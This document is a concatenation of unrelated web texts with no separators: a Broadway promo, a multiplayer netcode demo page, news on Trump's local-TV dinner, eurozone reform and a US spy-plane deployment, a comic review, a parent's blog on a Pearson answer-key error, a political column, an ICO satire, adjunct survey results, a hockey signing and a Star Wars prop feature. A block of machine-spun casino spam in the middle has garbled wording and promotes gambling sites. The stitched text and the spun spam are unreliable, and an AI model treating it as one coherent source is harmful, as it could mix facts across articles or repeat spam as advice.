In SEMINAR, four aspiring young novelists (Ms. Rabe, Mr. Linklater, Mr. O'Connell and Ms. Park) sign up for private writing classes with Leonard (Mr. Rickman), an international literary figure. Under his recklessly brilliant and unorthodox instruction, some thrive and others flounder, alliances are made and broken, sex is used as a weapon and hearts are unmoored. The wordplay is not the only thing that turns vicious as innocence collides with experience in this provocative new comedy.
SEMINAR is produced by Jeffrey Finn, Jill Furman, John N. Hart Jr., Patrick Milling Smith, Roy Furman, David Ian, David Mirvish, Amy Nauiokas and James Spry.
The production features set and costume design by Tony Award nominee and two-time Obie Award winner David Zinn, lighting design by Drama Desk Award nominee Ben Stanton and original music and sound design by two-time Drama Desk Award winner John Gromada.
Tickets for SEMINAR are $51.50-126.50, with Premium seating also available. Tickets can be purchase by visiting www.telecharge.com, calling (212) 239-6200 or going in person to The Golden Theatre box office (252 West 45th Street).
The performance schedule for SEMINAR is Tuesday through Thursday evenings at 7PM, Friday and Saturday evenings at 8PM, Wednesday and Saturday matinees at 2PM and Sunday matinees at 3PM.
Photo Credit: Walter McBride/WM Photos
Related Articles
Client-Server Game Architecture · Client-Side Prediction and Server Reconciliation · Entity Interpolation · Lag Compensation · Live Demo
This is a sample implementation of a client-server architecture demonstrating the main concepts explained in my Fast-Paced Multiplayer series of articles. It won’t make much sense unless you’ve read the articles first.
The code is pure JavaScript and it’s fully contained in this page. It’s less than 500 lines of code, including a lot of comments, showing that once you really understand the concepts, implementing them is relatively straightforward.
Although it’s not production-quality code, you may use this code in your own applications. Credit is appreciated although not required.
Player 1 view - move with LEFT and RIGHT arrow keys
Lag = ms · Prediction · Reconciliation · Interpolation Waiting for connection…
Server view · Update times per second
Player 2 view - move with A and D keys
Lag = ms · Prediction · Reconciliation · Interpolation Waiting for connection…
Guided Tour
The views above show the state of the game world according to the server, and what two clients are rendering. You can move the blue ball, controlled by Player 1, with the LEFT and RIGHT arrow keys; and the red ball, controlled by Player 2, with the A and D keys.
Move the blue ball. There’s considerable delay between pressing the arrow keys and the blue ball actually moving. Without client-side prediction, the client only renders the new position of the ball only after a round-trip to the server. Because of the 250ms lag, this takes a while.
Set the player 1 Lag to 0ms, and try again. Now the client and the server move in sync because there’s no delay between them, but the movement isn’t smooth, because the server only updates its internal state 3 times per second. If you increase the update rate of the server to 60, we get smooth movement.
But this is not a very realistic scenario. Set the player 1 lag back to 250ms, and the server update rate back to 3. This is closer to the awful conditions where a real game still needs to work.
Client-side prediction and server reconciliation to the rescue! Enable both of them for Player 1 and move the blue ball. Now the movement is very smooth, and there’s no perceptible delay between pressing the arrow keys and moving the ball.
This still works if you make the conditions even worse - try setting the player 1 lag to 500ms and the server update rate to 1.
Now things look fantastic for player 1’s own entity, the blue ball. However, player 2’s view of this same entity looks terrible. Because the low update rate of the server, player 2 only gets a new position for player 1’s entity once per second, so the movement is very jumpy.
Enabling client-side prediction and server reconciliation for player 2 do nothing to smooth the movement of the blue ball, because these techniques only affect how a player renders its own entity. It does make a difference if you move the red ball, but now we have the same jumpiness in player 1’s view.
To solve this, we use entity interpolation. Enable entity interpolation for player 2 and move the blue ball. Now it moves smoothly, but is always rendered “in the past” compared to player 1 and to the server.
You may notice the speed of the interpolated entities may vary. This is an artifact of the interpolation, caused by setting the server update rate too low in relationship with the speeds. This effect should disappear almost entirely if you set the server update rate to 10, which is still pretty low.
Summary
Such praise may seem at odds with the Trump White House’s ongoing media war, which two days earlier included the president claiming journalists fabricate sources and the press secretary barring news outlets from a press briefing. But when Trump described NBC, ABC and CBS as “the enemy of the American people,” he presumably meant the big national networks, based in New York City and with large Washington operations, as opposed to the local NBC, ABC and CBS affiliate stations scattered throughout the country.
The 18 regional reporters who enjoyed braised short ribs Monday night in the state dining room hailed from six television companies ― Hearst, Scripps, Gray, Sinclair, Cox, Nexstar ― that combined own hundreds of such stations, beaming into millions of Americans’ living rooms.
Trump still had lunch Tuesday with national news anchors, a long-running tradition whereby the president previews that evening’s State of the Union address, or in this case, a speech to a joint session of Congress. But the White House’s decision to expand the rollout with a regional press, featuring the president and top officials, along with appearances by Vice President Mike Pence and first lady Melania Trump, signaled that officials see value in also engaging, even courting, local reporters.
Vice President Pence came in minutes before the President, here he's giving us a brief history of the State Room. pic.twitter.com/Bh0ufN6vw3 — Paul LaGrone (@paullagrone) February 28, 2017
The private dinner follows Trump recently calling on a reporter from a Sinclair-owned station at a bilateral press conference and Spicer opening up daily briefings to local affiliates via Skype, a move that’s been both praised for democratizing the press corps and looked upon warily as a way to potentially deflect away from national issues and controversies.
Jacqueline Policastro, the Washington bureau chief for Gray Television, said she appreciated Spicer’s post-dinner comment, which to her demonstrated an acknowledgement of the role local TV stations play in informing millions of busy Americans each day.
“Our responsibility in the minute-and-a-half on a local newscast is to provide them political content that has value,” Policastro told The Huffington Post.
Policastro oversees a bureau of seven Washington-based journalists who produce segments distributed to Gray’s stations in 54 media markets.
While Gray’s more general political news segments may run on stations nationwide, interviews with members of Congress are produced for specific stations directly reaching their constituents. Lawmakers have long recognized the importance of appearing on their local TV newscasts, evident in Policastro and her team nabbing 80 interviews with members of Congress around Trump’s address.
Policastro said that many of the markets Gray covers are underserved when it comes to national political news, and so her team’s reports are distributed widely to stations across the country. Her post-dinner report, with details not only on the dinner but also Trump’s preview of the speech, potentially aired in dozens of local affiliates, including cities such as Roanoke, Virginia; Green Bay, Wisconsin; Flint, Michigan; and Anchorage, Alaska.
KTUU WBAY WJRT WDBJ Jacqueline Policastro, Washington bureau chief for Gray television, appeared after Monday's dinner on local broadcasts in Anchorage, Green Bay, Flint and Roanoke.
Policastro said she tells her reporters daily that they always “need to think about who we’re talking to, directly to the people in the community where we broadcast” because “that’s who matters to us.”
It’s this direct engagement, perhaps, that has led Americans to view local news as more trustworthy than national media (which is only being demonized on a near-daily basis by the most powerful person in the world).
Trump already uses Twitter to circumvent the national media filter, and one of his top advisers recently suggested that turning to local TV anchors, in some cases, is more effective than sitting down with Wolf Blitzer and Jake Tapper.
In December, Politico reported that top White House adviser and Trump son-in-law Jared Kushner said at a private gathering that their presidential campaign had struck a deal with Sinclair to run interviews with Trump without commentary. Sinclair, which owns 173 stations and has been viewed as favoring Republican candidates in the past, denied giving preferential treatment to Trump.
But regardless of whether a “deal” was struck, Kushner indicated at the same forum why engaging Sinclair was more beneficial than CNN in a state like Ohio. Kushner, who has privately complained to CNN executives about its Trump coverage, pointed out that the national TV network only reaches around 30,000 people the crucial swing state, while Sinclair reaches 250,000.
“It’s math,” Kushner said.
Here’s some more math to support a strategy of targeting Trump supporters through local media.
Trump won Gray’s markets 57.7 percent to Clinton’s 36.5 percent, with a total of 2.8 million more votes going to the Republican nominee, according to Policastro.
The Obama White House also made the president available to dozens of local TV affiliates during the 2012 campaign, at times to the consternation of national journalists seeking interviews.
The Trump White House did not provide anyone to discuss hosting a regional press dinner and how it fits with a broader media strategy.
SOME SPOILERS AHEAD!
We begin our story in the present day, as Barry and Hal have one last get-together before Hal heads back to Oa to run the GL Corp. But, as fate would have it, they are pulled back into the very adventure that brought them together in the first place! We learn that they had originally been drawn together inadvertently through their separate investigations into child disappearances. Their first meeting is handled with as much humor as action – their first lines to each other are great! There is a bit of a Silver Age feel to this story, which works for me – two superhero buddies are pulled through an amazing teleportation device into a battle against space monsters while they try to save a group of kids. But, this is handled with a New 52 sensibility – and the payoff is most welcome here. The reason they are back on Arena World after all this time? Well, of course there is unfinished business…and that’s where we come back to today. This story is an affirmation of the long-standing friendship of Barry and Hal – and testament to the power this duo brings to any fight.
Brian Buccellato goes solo on the writing duties for this issue, with Sami Basri on pencils and inks and Stellar Labs on colors. Francis Manapul and Buccellato worked together on the cover for this issue. The back-up story, “Details” was written by Nicole Dubuc with Crully Hamner on pencils and inks and Matthew Wilson on colors. This story centered on the story of someone The Flash could not save…and how her family reacts.
SUMMARY: This Annual fills an important gap in the New 52 – finally (re)telling the story behind one of the most important friendships in the DC Universe. It is fun, a little silly (in a good way) at times, and filled with plenty of action. As a long time Barry/Hal fan, this is a most welcome story – and for any Flash/GL fan it’s a must-read.
The paper proposes a permanent President of the Eurogroup - a kind of eurozone finance minister - who would be in charge of managing the 19-nation bloc's revenues, including borrowing and spending. Currently, eurozone finance ministers name one of their own as head of the group. This job should be merged with that of the economic affairs commissioner, the paper argues.
EU Economy Commissioner Pierre Moscovici told a news briefing in Brussels that the status quo was "not an option," adding that the currency area "must move forward."
EU Commission vice-president Valdis Dombrovskis said at the same briefing that the euro was "a promise of prosperity," and added: "To keep that promise ... we need the political courage to work on strengthening and completing Europe's economic and monetary union now."
Watch video 02:42 Macron's eurozone raise eybrows in Germany
Common budget and debt
The Commission paper advocates the introduction of a eurozone budget to carry out what it calls a "macroeconomic stabilisation function," meaning effective crisis management in the case of economic shocks like a new financial crisis.
Another option could be for such a budget to operate as a re-insurance fund for national unemployment schemes during economic bad times, when national budget deficits run high.
Finally, the stabilisation function would include "a rainy day fund," regularly accumulating money and occasionally disbursing it when a large economic shock needs cushioning. The fund should have the right to borrow, albeit within limits, and with rules on saving money when times are good.
Highly controversial is a proposal to launch a market of Sovereign Bond-Backed Securities (SBBS). This would allow for the packaging of different countries' national debt into a new asset. The Commission hopes the plan will boost demand for debt issued by eurozone governments with relatively weak economies.
The SBBS would help break the interdependency of banks and sovereigns that led to the 2010 sovereign debt crisis in Europe by providing a "high quality safe asset" banks could hold without too much exposure to one sovereign, the Commission noted.
SBBS would also avoid old eurozone political battles over whether the currency bloc should issue common bonds - a move vehemently opposed by Germany.
Ambitious timing
In additional proposals, the paper urges the completion of the eurozone banking union that was initiated as an emergency measure amid catastrophic bank failures in Ireland, Spain and Greece. However, a European Deposit Insurance Scheme (EDIS) - the trickiest part of banking union - is also still resisted by Germany and others among the richer eurozone states. They are are concerned about the fragility of banks in countries such as Italy - and don't want their own national deposit insurance funds looted to compensate depositors in failing banks in other countries.
As a result, the paper divides the deeper integration ideas into two stages. Until 2019 - the next European parliamentary elections and the end of the current Commission - the focus would be on completing processes already started.
The eurozone would agree on EDIS, and for the eurozone bailout fund ESM to backstop a common bank resolution fund in case it runs out of money. It would also tackle non-performing loans in the European banking system.
In the second phase, between 2019 and 2025, the eurozone could fully implement EDIS, and consider creating the European safe asset and the eurozone treasury, budget and finance minister.
Watch video 26:03 Share Made in Germany – The Business Magazine Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1Iy0N Eurozon in danger amid rising populism
[Read Pearson’s apology to Sarah Blaine here.]
By Sarah Blaine
Last Friday morning, my fourth grader handed me her “Thursday folder” shortly before we needed to head to the bus stop. I was glad to see a perfect spelling test, and a bunch of excellent math assignments and math tests. Time was short, however, so I flipped to the wrong answers. And sprinkled among the math tests, I came across two wrong answers that caused me concern.
The first problem was this:
Now, I looked at this problem before I’d had my morning coffee, and I wasn’t sure at first that I wasn’t just missing something. So I posted this picture to my Facebook feed, and asked my friends to confirm that I wasn’t crazy.
But my daughter was right: if Curtis walked three miles a day for 26 weeks, Curtis did in fact walk 546 miles.
3 miles/day x 7 days/week = 21 miles/week
21 miles/week x 26 weeks = 546 miles
I double, triple, and quadruple checked myself. I pulled out a calculator.
My friends agreed: my initial reaction to this question wasn’t nuts. My daughter’s answer was correct. And they came up with some good theories for why the answer might have been marked wrong.
Perhaps the teacher was trying to teach children, especially girls, to be confident in their answers, and she’d been marked wrong due to the question mark.
Perhaps she’d been marked wrong because she failed to indicate the units.
Perhaps she’d been marked wrong because she hadn’t provided every step of her work (i.e., she’d figured out the first step (3 miles/day x 7 days/week = 21 miles/week) in her head, and therefore had paid what one of my friends memorably described as a “smart kid penalty.”
But they were all wrong.
My daughter is fortunate enough to attend an excellent public school and her responsive teacher both sent a note home and called me that afternoon to discuss (I’d scribbled a quick note asking what the deal was along with my required signature on the front of the paper).
It turned out that my daughter had been marked wrong for a very simple reason: the Pearson answer key was wrong.
Let me say that again: Pearson was wrong.
Pearson listed some totally different — and wrong — number as the answer. The teacher had missed it when reviewing the test with the morning class, but in the afternoon class she’d realized the problem. My daughter’s teacher apologized for forgetting to mention it again to the morning class (and for not having previously changed their grades, but to be honest, I really could not care less if my kid scored a 95 percent or 100 percent on a 4th grade in-class math test).
In the olden days, I’d have laughed it off. Once in awhile, the textbook publisher screws up. In the olden days, that screw up was no big deal: it is mildly annoying to those of us who pay the taxes to buy the books, but it’s a pretty minor annoyance in the grand scheme of things.
However, these are not the olden days. The are the days of high-stakes testing. These are the days in which our kids’ high school graduations hinge on tests created by the very same company — Pearson – that messed up the answer to this question.
Tests we parents will never get to see.
Tests we parents will never get to review.
Tests we parents will never get to question.
So Pearson’s mistake on its fourth-grade answer key doesn’t exactly inspire confidence.
Presumably, before the enVisions curriculum was published, Pearson checked and rechecked it. Presumably, its editors were well-paid to review problems and answer keys.
After all, Pearson itself describes this math curriculum as:
And yet… it was still dead wrong.
It seems that all of Pearson’s critical foundational research and proven classroom results in the world couldn’t get the question 3 x 7 x 26 correct.
To the uninitiated, I bet I sound nuts. Who cares, right? It’s just a question on a math test. But if we are going to trust this company to get it right on high-stakes tests (where there is no public accountability), then the company better get it right all the time when it is operating within the public eye. So this isn’t just about a fourth grade math test. It’s all of the other Pearson-created tests my daughter is scheduled to take: in particular, the new Common Core PARCC tests this spring, which are the ones that come with no public review, and no public accountability.
Here, the test came home in my daughter’s backpack. As a result, there was an opportunity for public review and public accountability because I could review the test and question the wrong answer. The teacher could check the question and realize that the book was wrong, and substitute her own professional judgment for that of the textbook publisher.
And most importantly, the mistake was not a big deal, because the outcome of this test would not determine my daughter’s placement into an advanced math class or a particular school or even prevent her from graduating from the fourth grade. The outcome of this test would not determine her teacher’s future salary or employment. This test was nothing more than the kind of test our nine and ten year olds should be taking: a fourth grade in-class, teacher-graded chapter test. At most, this test will determine a small portion of my daughter’s report card grade.
But what about those tests that Pearson will be administering to our students this spring? We won’t be able to review the test questions, the answer keys, or our children’s answer sheets. We won’t be able to catch Pearson’s mistakes.
This spring, even if the answer really is 546 miles, Pearson will be able to write that Curtis traveled 1024 miles, or 678 miles, or 235 miles, or any other distance it wants. And we’ll never know that our kids weren’t wrong: Pearson was. But our kids’ futures — and their teachers’ careers — will be riding on the outcomes of those tests.
There has to be a better way.
In a low-stakes world, Pearson’s screw up was a low-stakes mistake. But now we’re forcing our kids — our eight, nine, and ten year olds — to live in a high-stakes world.
And in a high-stakes world, Pearson’s screw ups are high-stakes. So shame on you, Pearson, for undermining my daughter’s hard-earned (and easily eroded) math confidence with your careless error. I will parent my kid so that she learns not to second-guess herself with question marks after her answers.
But Pearson, I will be second-guessing you. As publicly as possible.
Here is a follow-up to this post, with Pearson apologizing to Sarah Blaine.
Immigration Minister Chris Alexander talks to reporters after a television interview in Ottawa in the wake of images of a Syrian child found drowned on the shores of Turkey. ( FRED CHARTRAND / THE CANADIAN PRESS )
Paul Calandra is an interesting case. He seemed a born potty-mouth. You could picture him during recess in the schoolyard. Then one Question Period he overreached, yammering irrelevantly about Thomas Mulcair supporting genocide against Israel as if he couldn’t shut it off. Next day he was back tearfully apologizing and hasn’t been the same meanie since. He still shows up on TV but without the old bile. Maintaining high rabidity levels isn’t that easy for most people. (There are exceptions: Pierre Poilievre.) These guys were recruited to play a role and you don’t say No to the boss. But what role and why? (I’m not suggesting, by the way, that other parties are unblemished. The Liberals in the 1980s had their “rat pack,” who were aggressive and hostile but not essentially nasty. It’s meanness that marks the Harper brand.) I don’t think they’re simply an externalization of Stephen Harper’s id, though that’s a tempting way to go. I think we got a clue when we saw Angrycon early in the campaign. He’s the Tory dude who blasted reporters as “lying pieces of s---” who all cheat on their taxes worse than Duffy. (In one of the great moments in campaign annals, a mortified Hannah Thibedeau of CBC bleated, “Why would you say I cheat on my taxes?”)
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We finally had an actual visual of the Harper base. A face for the base. These are the 25 per cent of voters (not of Canadians) who are the solid core of the Harper vote: resentful, mostly white and mostly male — I generalize ruthlessly. With them in line, Harper can reach for another 10-15 per cent by appealing narrowly to Ukrainians, Jews, etc. The vast 60-70 per cent majority who’ll never vote for him are irrelevant due to our idiotic voting system. But the base needs reassurance in the form of rhetorical red meat. That’s what the attack dogs provide. Harper himself is in an awkward position. We saw it as the refugee issue exploded. National Post columnists and Globe and Mail editorialists agonize over why he won’t take the lead in showing compassion, like Merkel in Germany. But this risks enraging the base; they fear terrorists, who are self-evidently Muslims, slipping in. So Harper, who is heard by a national audience, speaks in code to them; in effect employing two languages at once. He says he won’t relent in putting Canadians’ security first, code for: we won’t let those refugees in because they’re jihadists. If reporters asked him why Germany can absorb 800,000 quickly without security angst, you can picture angry cons screaming, like Basil Fawlty: “Germany! Don’t you know who we fought in two world wars?” Then Harper adds that he’ll prioritize “minorities” and “the most vulnerable,” more code for: Christian Arabs, at least they’re not Muslims. Base mollified. I don’t think this is just Harper’s personal impulse; it’s electoral reality. You can please the Globe and Mail and lose your core vote. What profits it then? Rick Salutin’s column appears Friday. ricksalutin@ca.inter.net
The United States has deployed a P-8 Poseidon spy plane to Singapore for the first time.
It is the latest in a series of US military actions seen as a response to China's increasingly assertive claims over territory in the South China Sea.
The US says it will also base a military reconnaissance plane at Singapore's Paya Lebar air base.
US P-8s already operate from Japan and the Philippines, and surveillance flights have taken off from Malaysia.
The P-8 was deployed on Monday, and will remain in Singapore until 14 December.
In addition to the P-8 deployment, the US says it will operate a military plane, either a P-8 Poseidon or a P-3 Orion, from Singapore for the foreseeable future, rotating planes on a quarterly basis.
The US-Singapore agreement, announced after a meeting in Washington on Monday between US Defense Secretary Ash Carter and Singapore Defence Minister Ng Eng Hen, also covers co-operation on counter-terrorism, fighting piracy, and disaster relief.
Image copyright Pentagon Image caption The US complained a Chinese jet flew dangerously close to a P-8 in August 2014
Speaking at a daily news briefing, Chinese foreign ministry spokeswoman Hua Chunying said the US was "pushing regional militarisation", which did "not accord with the joint long-term interests" of the region.
Despite rising tension with China over its South China Sea territorial claims, a US navy spokesman based in Singapore insisted that the deployments were "not solely focussed on the South China Sea".
"It's not about the South China Sea, it's about partnership with Singapore and other partners in the region," said Lt Commander Arlo Abrahamson, speaking to the BBC.
He pointed to regional co-operation in the search for the missing Malaysian Airlines flight MH370 and the Air Asia plane that crashed on 28 December 2014, as examples of the kinds of operations that would be helped by a base in Singapore.
A US navy statement also said that the deployment was "in support of shared maritime security and HA-DR (High Availability and Disaster Recovery) initiatives in the Indo-Asia-Pacific region."
Image copyright Reuters Image caption Although it is the first P-8 military deployment to Singapore, one was on display at the 2014 Singapore Airshow
China claims almost the entire South China Sea, putting it in territorial dispute with several countries, including Vietnam, the Philippines and Malaysia, among others. It has been building islands, equipped with runways, in the area.
“Because some people are much too busy thinking about our future… They’ve forgotten to think about theirs,” the FitVitalik page reads. “We, the crypto currency [sic] community, have made it our mission to help one altruistic yet self-neglectful [sic] genius at a time.”
“We’re talking about Vitalik Buterin!”
All funds amassed during the coin offering will go towards getting Buterin a gym membership, a personal trainer, and a healthy diet. The FitVitalik team says that, as long as he meets his “goal to get into shape,” the Ethereum founder is free to choose a gym and a coach of his choice.
The only limitation is that he never splurges out more than $4,000 from the FitVitalik fund per month.
Much like any other “legitimate” initial coin offering, FitVitalik has provided prospective investors with an inspirational mission statement and a scientifically-proven roadmap to success.
“A lot of people are concerned about Vitalik’s health and this ICO will change his future,” the FitVitalik agenda reads. “We need more cool stuff from Vitalik, we need healthy Ethereum and we need healthy leader that will create more products and will finally make Ethereum get to the moon.”
The FitVitalik management has also taken the steps to promote its ICO on all popular cryptocurrency discussion boards and online venues, including Telegram, Facebook, Twitter, Reddit, and the quintessential BitcoinTalk. So you know all they do is absolutely “legit” and by the book.
For those considering this once-in-a-lifetime investment opportunity, the FitVitalik ICO kicks off this weekend on November 25. It will run for 14 days or until it has successfully hit its hard cap of 2,000 ETH.
All goofing-around aside, Buterin has established himself as one of the most influential and respected figures within the cryptocommunity, with numerous supporters crafting fan art to pay homage to both him and Ethereum.
In fact, Buterin fan art is quite popular on Reddit – though FitVitalik does really take this trend to a whole new level.
First, find the games you need to play, using an online search engine like Google. Next comes the tedious part. At least it can be tedious, but if you look through the search results listings three by three, you ought to be able to identify three or more sites with games you need to play. Make sure that you are aware of any costs that are going to be incurred, when selecting a game to play. You don’t need to be surprised by anything three times you dig in and start playing. For both online and downloadable games, check for any process requirements. You may find that you need to install flash player, Java, or.NET components. If you are preparing to download online casino games, ensure that you have nice anti-virus and anti-spy ware (anti-mal ware) programs installed on your computer. Make sure they are updated and walking. Use them to scan all downloaded files, as this will let you filter out anything that may be tainted with a virus, Trojan, or ad ware. It is better to delete a downloaded file before ever walking it, if it contains a payload that could slow your computer or cause it to crash!
After you have prepared your process for your games, go ahead and play! Casino games are fun because you can come back to the web-site hosting the online game, or the game installed on your computer, and play whenever you get some time. Online casino slot games are speedy to play, so you can get in a small game play between other duties.
How to Compare Online Casinos
Regardless of whether you gamble online as a hobby or profession, it is imperative to choose the right casino. At the moment, there are hundreds of online casinos and picking the right one is pretty intimidating. Every player is different and has its own personality when it comes to gambling. Just as the players are of different types, the online casinos also differ largely. Online Casino Spotlight has made an effort to formulate a list of all the casinos and explain them in detail.
It’s all about the games
Online casino gambling is pretty diverse and therefore the players wouldn’t stick around if they are stuck up in a casino that has limited variety of games. Online casinos include only those games where wagers are involved, however off lately there are quite a lot of casinos that offer innovative and newer games. The site has listed down casinos based on the software they use and the games they contain.
This would help the players analyse their choices prior to betting and make the most out of their online gaming experience.
Banking features
Ever since the new bill passed by the US government, there are a majority of the online casinos that do not accept the players from US. Online Casino Spotlight lists down all the casinos that accept players from United States and also the modes of payment accepted.
Reviews
Getting authentic reviews on online casinos is pretty difficult; however, sites such as these would ensure that you are updated with the latest information about all the online casinos. It is a platform where the players can find bonuses offered by various online casinos and also the percentages of payouts given. Such financial information is crucial at the time of selecting an online casino.
For all those who are new to the gambling scenario, can also learn the effective strategies listed separately on the website. It is a place where the players can stay in pace with the latest online gambling news from all around the world. Lastly, the best part about the website is that it lists down the online casinos on the amount of bonuses paid by each along with a detailed review about every online gaming site. With just a simple click, the players can access all the vital information that would help them make better decisions while choosing the right online casino.
How to select a Trusted Online Casino
Nobody would like to take a chance that one’s own money is going to drop out of sight. Your internet casino practice must ceaselessly be protected and enjoyable. New online casinos can sometimes be hazardous so it is essential to do considerable research. Thanks to the internet, this is not as uninteresting as it appears to be. Internet casino analysis sites are abundant and the hunt for facts knows no boundaries. Do a thorough scrutiny on the casino by going through casino review sites. Select three that recommends an assortment of online casinos so you know they are not biased. A Google search could net a large selection of casino reviews, be sure to read through as plenty of as you can. Look for gamer experiences or recommendations as well. Key things to take in to consideration in the casino review are the period of operation, how fast or slow the payouts are done and if the paying percentages happen to be confirmed by auditors hired externally.
Chiefly owing to demand from clientele, further online casinos are established each and every month, offering the advantage of betting online from a person’s own laptop or computer at home. Whether you are playing for enjoyment or playing to make some bonus pocket money, you would certainly wish to put in your time at a new reliable online casino.
In addition to dispelling certain “myths” about adjunct faculty members -- namely that most of them have other jobs and teach on the side -- the survey asked other questions that New Faculty Majority says have yet to appear in a national poll of adjunct professors.
Marisa Allison, a researcher for the organization and a Ph.D. candidate in sociology at George Mason University, said that some of the more troubling findings relate to uncompensated work. For example, 31 percent of respondents reported that a department or college that they’ve work for has included their scholarship, publications or grants received in official reports regarding faculty productivity, even though 94 percent reported not being compensated for that intellectual work.
Respondents also said they’d received little to no training for campus safety protocols -- an increasing area of concern for many colleges in light of campus rape discussions, campus shootings and student mental health concerns. For example, 44 percent of respondents said they would not know what to do in the event of an emergency situation on campus. About the same proportion (43 percent) said they would not know where to direct students who had been victims of a crime on campus.
About 45 percent said they would not know where the institution would want them to direct students who’d been the target of discrimination or sexual harassment, or what to do about students they felt were a threat to themselves or others. Some 41 percent said they wouldn’t know what to do if a student came to them showing signs of depression or other mental health issues. A majority of respondents, meanwhile -- 73 percent -- said that students had in fact come to them showing signs of depression or other mental illness. An even higher proportion said students had asked them for nonacademic advice, counseling or support. And 40 percent of respondents said they’ve taught a student they felt was a threat to themselves or others, or that they had concerns about their personal safety on campus.
Allison said that the online survey attracted 400 respondents during Campus Equity Week, which ended Friday, with a disproportionate number of respondents coming from the West and East Coasts. So while the survey wasn't representative, she said, it shines light on issues previously absent from the national conversation about adjuncts. New Faculty Majority last conducted its back-to-school survey in 2011, and many of the questions that were asked previously yielded similar responses this year. For example, both surveys found that professors had little lead time to prepare for courses; in the best-case scenario, about one-third of respondents then and now said they had less than three weeks to get ready to teach a class.
Maria Maisto, president of the New Faculty Majority, said the survey demonstrates the need for a comprehensive national study of postsecondary faculty. She and other advocates were in Washington last week asking members of Congress to reinstate the Education Department's National Study of Postsecondary Faculty, which was last conducted in 2004. While the Integrated Postsecondary Education Data System collects basic demographic information about instructors, she said, the former study provided a more in-depth look at who was doing the teaching, under what circumstances.
In 2009 Maxwell was the Colorado Avalanche's 154th pick at the NHL draft.
The Bears have expanded their family. Coming to the Den is young goalie Brandon Maxwell, who will be the third goalie. Even though he’s still across the Atlantic since the preseason hasn’t started, the American with Canadian citizenship is already starting to feel like part of the team, a part of Zagreb, and Croatia. Despite being miles away, Maxwell sent a message of support to Croatia and the region, inviting everyone to get involved and to help by calling the donation hotline.
‘’Since I’m going to be living and playing in Zagreb next season I’ve been following the news about the floods in Croatia and the region. It’s always difficult in these situations in which we unfortunately can’t have much impact. In Florida, where I’m from, we had troubles with floods a few weeks ago that were caused by the heaviest rainfall in the past 130 years, and I know how much that impacted people’s live, but also how much victims can be helped when others come together. That’s why I’m happy that at least in this little way, with this appeal for people to help by calling the donation number, I had the opportunity to take part and help’’, said Maxwell, adding:
‘’I hope that the situation calms down soon and that things turn out well in the end. I’m thinking about all of you and I send you many positive thoughts.’’
Your typical Han Solo cosplayer will spend hours tailoring the essential pieces of Harrison Ford's iconic outfit--black utility vest and boots, a swaggerific collared shirt, tight navy pants with that standout red blood stripe, and low-rise gun belt. And when it comes to Han's DL-44 blaster pistol, eBay and Etsy list an arsenal of readymade blasters aimed at the cosplay market for around $50. These blasters, custom painted with faux-metal weathering and sometimes touting sound effects or even Airsoft functionality, capture the general gestalt of the DL-44. They have the familiar muzzle, grip, scope, and shape of the blaster--good enough for the casual costumer who just needs something serviceable for Halloween or a weekend convention. But far from good enough for the more discerning eye. In fact, read the fine print on those listings and you'll see that these replicas are just $8 toys made by Halloween costume company Rubies--repainted and sold at a 600% markup.
That detail would be inescapable to Carson Case and Pat Matera, who, for the past 18 months, have been unearthing and studying every detail and dimension of Han Solo's blaster from Star Wars: A New Hope. They've pored over every available photo and nugget of information pertaining to the original prop with forensic-level scrutiny. They've debated over the tiniest of details and contested long-accepted specs to a point where every new revelation is like a breakthrough in a decades-old cold case. It's kept them up at night and infiltrated their dreams. In other words, they've reached Adam Savage-levels of obsession. That's appropriate, because like Adam, both Case and Matera are replica prop builders and members of the Replica Prop Forum.
Photo courtesy Chris Trevas.
It's on The RPF that Case and Matera--who go by the handles Deadbolt and KPax, respectively--indulge their obsession. Their investigation began in June 2011 over the topic of the DL-44 baster's gun barrel. It had been a long-agreed upon fact among prop replicators that the barrel of the prop blaster--the part between the receiver and muzzle--was fully cylindrical. Case proposed that not only did the barrel have a small tapered chamfer on its underside, but that the entire bottom of the barrel was actually milled flat. Earth-shattering, right? That may seem like an inconsequential detail, but it's exactly the kind of minutia that excites replica prop makers and launches a 68-page forum thread spanning 18 months re-examining every known facet about Han Solo's blaster. Cold case reopened.
For the uninitiated, the Replica Prop Forum is the epicenter of the replica prop community--a place where prop makers of all skill levels converge to share their projects, discuss prop details, and even sell limited runs of their finished replicas. Community members make props from all forms of media--movies, tv shows, videogames, and comics. There are people building their own batmobiles, pulse rifles from Aliens, and just about every iteration of Iron Man armor that has graced the silver screen (by my count, currently 10). It's a subset of the maker movement completely unabashed with their love for popular culture, and as Adam puts it, who make things they can't not make.
Photo courtesy Chris Trevas.
It's no stretch that Han Solo's blaster resonates with this community. Han Solo is arguably the coolest character in Star Wars, and the space scoundrel-turned hero's character is irrevocably tied to his blaster pistol. Solo was modeled after the rogue gunslingers of the westerns that influenced George Lucas (among many other sci-fi creators), and the character's quick-draw attitude is embodied by a BlasTech DL-44 blaster that was uniquely designed to evoke both a familiar historical look and futuristic flourish. Says Carson Case:
"I think an impressionable character along with the right actor can make you love a prop all the more, and especially in this case where the prop itself was built up gorgeously to begin with. The mixing of familiar and not so familiar parts making up the prop, none of which were made to be attached to one another originally, managed to turn out one very artistic prop."
Image Credit: Flickr user Vasnic64 via Creative Commons.
An awfully cool hero paired with an awfully cool gun. Plus the fact that in Star Wars lore--specifically the 1979 book trilogy The Han Solo Adventures--Solo is explained to have illegally modified his blaster for a faster draw definitely speaks to the maker mentality. It's not just any BlasTech DL-44 fans are replicating--it's Han Solo's, which carries along with it a mythical weight and illustrious history.
And in terms of its original construction, Han Solo's blaster from Episode IV is actually one of the more storied props of Star Wars.
Made for a Galaxy Far, Far Away
For Star Wars, George Lucas wanted to film sets and props that looked like they had existed for thousands of years.
For the production of Star Wars: A New Hope, George Lucas charged his set designer, John Barry, and set decorator, Roger Christian, with creating a fictional universe that looked "lived in". Contrary to the slick design of science-fiction productions like Flash Gordon, Lucas wanted to portray environments that looked like they had existed for thousands of years, with all the grime and patched-togetherness that would allude to an untold history and mythology. LucasFilm's ILM model shop--staffed with veterans of 2001: A Space Odyssey's production--carried out that vision in their creation of the kitbashed vehicles and miniatures that awed viewers from the very opening shot of Star Wars.
